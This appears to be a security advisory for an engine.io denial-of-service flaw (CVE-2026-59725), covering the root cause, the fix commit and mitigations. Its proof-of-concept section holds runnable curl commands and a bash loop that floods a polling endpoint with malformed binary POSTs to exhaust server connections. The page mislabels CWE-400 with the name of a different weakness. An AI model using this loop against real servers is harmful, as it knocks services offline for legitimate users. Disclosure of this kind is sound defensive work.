CVE-2026-59725: engine.io Polling Transport Connection Exhaustion (DoS)
An unauthenticated attacker can exhaust all server-side HTTP connections in Socket.IO servers by repeatedly sending malformed binary POST requests to the Engine.IO polling endpoint, because the…
The problem
Engine.IO versions >= 4.1.0 and < 6.6.7 expose an HTTP long-polling endpoint that handles EIO=4 binary POST requests. When a POST arrives with Content-Type: application/octet-stream carrying an invalid binary body, the server internally calls its error handler but never writes or closes the HTTP response.
The underlying TCP socket therefore stays open indefinitely. An attacker who repeats this across many sessions can exhaust file descriptors, sockets, or connection-table slots, producing a full denial of service for legitimate clients.
Proof of concept
A working proof-of-concept for CVE-2026-59725 in engine.io, with the exact payload below.
# Step 1: open a polling session and grab the sid
curl -s 'http://target/socket.io/?EIO=4&transport=polling'
# => returns JSON with "sid":"<SID>"
# Step 2: send an invalid binary POST (repeat in a tight loop to exhaust connections)
curl -s -X POST \
'http://target/socket.io/?EIO=4&transport=polling&sid=<SID>' \
-H 'Content-Type: application/octet-stream' \
--data-binary $'\x00\x01\x02\x03' &
# Automating exhaustion (bash)
for i in $(seq 1 5000); do
SID=$(curl -s 'http://target/socket.io/?EIO=4&transport=polling' | grep -oP '(?<="sid":")[^"]+');
curl -s -X POST \
"http://target/socket.io/?EIO=4&transport=polling&sid=$SID" \
-H 'Content-Type: application/octet-stream' \
--data-binary $'\x00\x01\x02\x03' &
doneIn the vulnerable code path inside lib/transports/polling.ts, when the server detects an invalid binary body on an EIO=4 POST (isBinary === true but the payload fails decoding), it calls this.onError('bad request') and returns early, but never calls res.end() or destroys the socket.
The HTTP response therefore remains in a half-open state, keeping the underlying TCP connection alive and consuming a file descriptor.
The fix in commit fc11285e adds an explicit res.end() (and equivalent socket cleanup) in the binary-POST error branch, so the connection is immediately released. CWE-400 (Improper Resource Shutdown or Release) is the root cause: resources are allocated on every request but not freed on this specific error path.
The fix
Upgrade to engine.io >= 6.6.7 (npm install engine.io@^6.6.7). If you use Socket.IO, upgrade to the Socket.IO release that pulls in engine.io 6.6.7 or later.
If an immediate upgrade is not possible: block polling POST requests with Content-Type: application/octet-stream at your reverse proxy or WAF, or disable HTTP long-polling entirely with transports: ['websocket'] in your Socket.IO server config.
Related research
- criticalCVE-2026-69253CVE-2026-69253: Flowise vm2 Sandbox Escape to RCE via moment locale Injection
- highCVE-2026-69252CVE-2026-69252: Flowise Missing Authorization on File Management API
- highCVE-2026-69250CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh SSRF and Secret Exfiltration
- critical · 9.8CVE-2026-69240CVE-2026-69240: Sequelize SQL Injection via Oracle TO_DATE/TO_TIMESTAMP Bypass